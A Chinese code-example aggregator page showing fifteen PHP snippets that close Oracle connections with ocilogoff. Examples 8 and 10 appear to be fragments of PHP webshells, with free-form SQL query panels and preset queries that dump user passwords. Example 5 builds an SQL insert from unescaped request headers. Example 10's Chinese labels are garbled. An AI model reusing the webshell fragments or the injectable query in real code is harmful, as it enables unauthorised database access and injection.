本文整理汇总了PHP中ocilogoff函数的典型用法代码示例。如果您正苦于以下问题:PHP ocilogoff函数的具体用法?PHP ocilogoff怎么用?PHP ocilogoff使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了ocilogoff函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。
示例1: disconnect
function disconnect()
{
if (!$this->isConnect) {
return true;
}
ocilogoff($this->connection);
$this->isConnect = false;
return true;
}
示例2: Deconnect
function Deconnect()
{
if ($this->TYPE == 'oracle') {
if (!@ocilogoff($this->LINK)) {
return false;
}
} elseif ($this->TYPE == 'mysql') {
if (!@mysql_close($this->LINK)) {
return false;
}
}
return true;
}
示例3: query_exec
function query_exec($query)
{
# IMPORT MYSQL PARAMETERS (NOTE: IT WORKS WITH ABSOLUTE PATH ONLY !!)
include '../config/registry_oracle_db.php';
# open connection to db
//putenv("ORACLE_HOME=/usr/lib/oracle/xe/app/oracle/product/10.2.0");
$conn = OCILogOn($user_db, $password_db, $db) or die("Could not connect to Oracle database!") or die(ocierror());
# execute the EXEC query
$statement = ociparse($conn, $query);
$risultato = ociexecute($statement);
# close connection
ocilogoff($conn);
$a = 1;
return $a;
}
示例4: close
function close()
{
if ($this->conn) {
ocilogoff($this->conn);
}
parent::close();
}
示例5: print
}
print("</table>\n");
}
else print("<p class=\"bo\">\n No PopCon cronjob tails recorded!\n</p>\n");
ocifreestatement($stmt);
ocilogoff($conn);
$svr = $svrlog;
$apl = "mon";
require($path."auth.inc");
$conn = ocilogon($usr, $pwd, $svr);
require($path."geoip.inc");
$gi = geoip_open("geoip.dat", GEOIP_STANDARD);
ociexecute(ociparse($conn, "insert into $usr.mon_log (domain, ip, country, browser, kind) values ('".strtolower(gethostbyaddr("$REMOTE_ADDR"))."', '$REMOTE_ADDR', '".geoip_country_name_by_addr($gi, $REMOTE_ADDR)."', '$HTTP_USER_AGENT', 'T')"));
ocicommit($conn);
geoip_close($gi);
ocilogoff($conn);
}
else oraconnecterror();
</script>
<p class="bo">
This page has been dynamically generated on
<?php
print newdate(time(), "eng") . " at " . date("G:i", time()) . ", Central European time.";
?>
Created on September 20<sup>th</sup>, 2008, its source code has been last updated on November 13<sup>th</sup>, 2008.
<br>
For any suggestion or comment, please write to
<?php
print "<a href=\"mailto:Pietro M. Picca <Pietro.Picca@cern.ch>?subject={$title}\" class=\"p2k\">Pietro.Picca@cern.ch</a>";
?>
示例6: db_close
function db_close($conn)
{
return @ocilogoff($conn);
}
示例7: _close
/**
* Close DB Connection
*
* @access public
* @param resource
* @return void
*/
function _close($conn_id)
{
@ocilogoff($conn_id);
}
示例8: while
}
echo "</tr>";
while (ocifetch($stat)) {
echo "<tr>";
for ($j = 1; $j <= @ocinumcols($stat); $j++) {
echo "<td><font face=Verdana size=-2> " . htmlspecialchars(@ociresult($stat, $j)) . " </font></td>";
}
echo "</tr>";
}
echo "</table><br>";
}
@ocifreestatement($stat);
}
}
}
@ocilogoff($db);
}
break;
}
echo "<form name=form method=POST>";
echo in('hidden', 'db', 0, $_POST['db']);
echo in('hidden', 'db_port', 0, $_POST['db_port']);
echo in('hidden', 'mysql_l', 0, $_POST['mysql_l']);
echo in('hidden', 'mysql_p', 0, $_POST['mysql_p']);
echo in('hidden', 'mysql_db', 0, $_POST['mysql_db']);
echo in('hidden', 'cmd', 0, 'db_query');
echo "<div align=center><textarea cols=65 rows=10 name=db_query>" . (!empty($_POST['db_query']) ? $_POST['db_query'] : "SHOW DATABASES;\nSELECT * FROM user;") . "</textarea><br><input type=submit name=submit value=\" Run SQL query \"></div><br><br>";
echo "</form>";
echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=" . $_SERVER['PHP_SELF'] . ">BACK</a> ]</b></font></div>";
die;
}
示例9: DBclose
function DBclose()
{
global $DB;
$result = false;
if (isset($DB['DB']) && !empty($DB['DB'])) {
switch ($DB['TYPE']) {
case 'MYSQL':
$result = mysql_close($DB['DB']);
break;
case 'POSTGRESQL':
$result = pg_close($DB['DB']);
break;
case 'ORACLE':
$result = ocilogoff($DB['DB']);
break;
case 'SQLITE3':
$result = true;
sqlite3_close($DB['DB']);
free_db_access();
break;
default:
break;
}
}
unset($GLOBALS['DB'], $GLOBALS['DB_TYPE'], $GLOBALS['DB_SERVER'], $GLOBALS['DB_PORT'], $GLOBALS['DB_DATABASE'], $GLOBALS['DB_USER'], $GLOBALS['DB_PASSWORD'], $GLOBALS['SQLITE_TRANSACTION']);
return $result;
}
示例10: otherdb
//.........这里部分代码省略.........
\treturn true;
}
</script>
<textarea name="orasql" style="width:600px;height:200px;">{$oraquery}</textarea><br>
<select onchange="return oraFull(options[selectedIndex].value)">
\t<option value="0" selected>ִ������</option>
\t<option value="1">��ʾ�汾</option>
\t<option value="2">���ݿ�</option>
\t<option value="3">����</option>
\t<option value="4">�ֶ�</option>
</select>
<input type="hidden" name="action" value="myquery">
<input class="bt" type="submit" value="Query"></div></form>
END;
if ($oraaction == 'oraquery') {
$oralink = OCILogon($orauser, $orapass, "(DEscriptION=(ADDRESS=(PROTOCOL =TCP)(HOST={$orahost})(PORT = {$oraport}))(CONNECT_DATA =(SID={$orasid})))") or die(ocierror());
$oraresult = ociparse($oralink, $oraquery) or die(ocierror());
$orarow = oci_fetch_row($oraresult);
echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">' . "\n<tr>\n";
for ($i = 0; $i < oci_num_fields($oraresult); $i++) {
echo '<td><b>' . oci_field_name($oraresult, $i) . "</b></td>\n";
}
echo "</tr>\n";
ociresult($oraresult, 0);
while ($orarow = ora_fetch_row($oraresult)) {
echo "<tr>\n";
for ($i = 0; $i < ora_num_fields($result); $i++) {
echo '<td>' . "{$orarow[$i]}" . '</td>';
}
echo "</tr>\n";
}
echo "</table></font>";
oci_free_statement($oraresult);
ocilogoff();
}
} elseif ($db == "ifx") {
$ifxuser = isset($_POST['ifxuser']) ? $_POST['ifxuser'] : 'root';
$ifxpass = isset($_POST['ifxpass']) ? $_POST['ifxpass'] : '123456';
$ifxdbname = isset($_POST['ifxdbname']) ? $_POST['ifxdbname'] : 'ifxdb';
$ifxaction = isset($_POST['action']) ? $_POST['action'] : '';
$ifxquery = isset($_POST['ifxsql']) ? $_POST['ifxsql'] : '';
$ifxquery = stripslashes($ifxquery);
print <<<END
<form method="POST" name="ifxform" action="?s=gg&db=ifx">
<div class="actall">Dbname:<input type="text" name="ifxhost" value="{$ifxdbname}" style="width:100px">
User:<input type="text" name="ifxuser" value="{$ifxuser}" style="width:100px">
Pass:<input type="text" name="ifxpass" value="{$ifxpass}" style="width:100px"><br>
<script language="javascript">
function ifxFull(i){
Str = new Array(11);
\tStr[0] = "";
\tStr[1] = "select dbservername from sysobjects;";
\tStr[2] = "select name from sysdatabases;";
\tStr[3] = "select tabname from systables;";
\tStr[4] = "select colname from syscolumns where tabid=n;";
\tStr[5] = "select username,usertype,password from sysusers;";
\tifxform.ifxsql.value = Str[i];
\treturn true;
}
</script>
<textarea name="ifxsql" style="width:600px;height:200px;">{$ifxquery}</textarea><br>
<select onchange="return ifxFull(options[selectedIndex].value)">
\t<option value="0" selected>ִ������</option>
\t<option value="1">���ݿ�����������</option>
\t<option value="1">���ݿ�</option>
\t<option value="2">����</option>
示例11: close
function close()
{
return ocilogoff($this->connection);
}
示例12: ociparse
<td height="18" class="form_texte">Concept : </td>
<td><select name="concept" class="form_champ" id="concept">
<?php
$NomConcept = ociparse($oci_conn,"SELECT LEBILEC FROM CONCEPT");
//echo "<select name='ts' id='ts'>";
ociexecute($NomConcept,OCI_DEFAULT);
//while(ocifetch($NomConcept)){
while(($row = oci_fetch_object($NomConcept))){
//echo "<option value=''> ".ociresult($NomConcept,1)." </option>";
echo "<option value='".$row->LEBILEC."'>".$row->LEBILEC."</option>";
echo ociresult($NomConcept,1);
}
echo "</select>";
ocilogoff($oci_conn);
?>
</select></td>
</tr>
<tr>
<td> </td>
<td> </td>
</tr>
<tr>
<td><input type="submit" name="Ajouter" id="Ajouter" value="Ajouter" /></td>
</tr>
<tr>
<td colspan="2"> </td>
</tr>
示例13: _disconnect
function _disconnect()
{
return ocilogoff($this->_connection);
}
示例14: desconectar
function desconectar($conn)
{
@ocilogoff($conn);
}
示例15: _ocilogoff
/**
* @desc 关闭数据库连接
* @author
* @since 2012-06-20 18:30:44
* @throws 注意:无DB异常处理
*/
function _ocilogoff(&$conn_db)
{
if ($conn_db) {
ocilogoff($conn_db);
$DB = $_SERVER['last_oci_link'][$conn_db];
}
}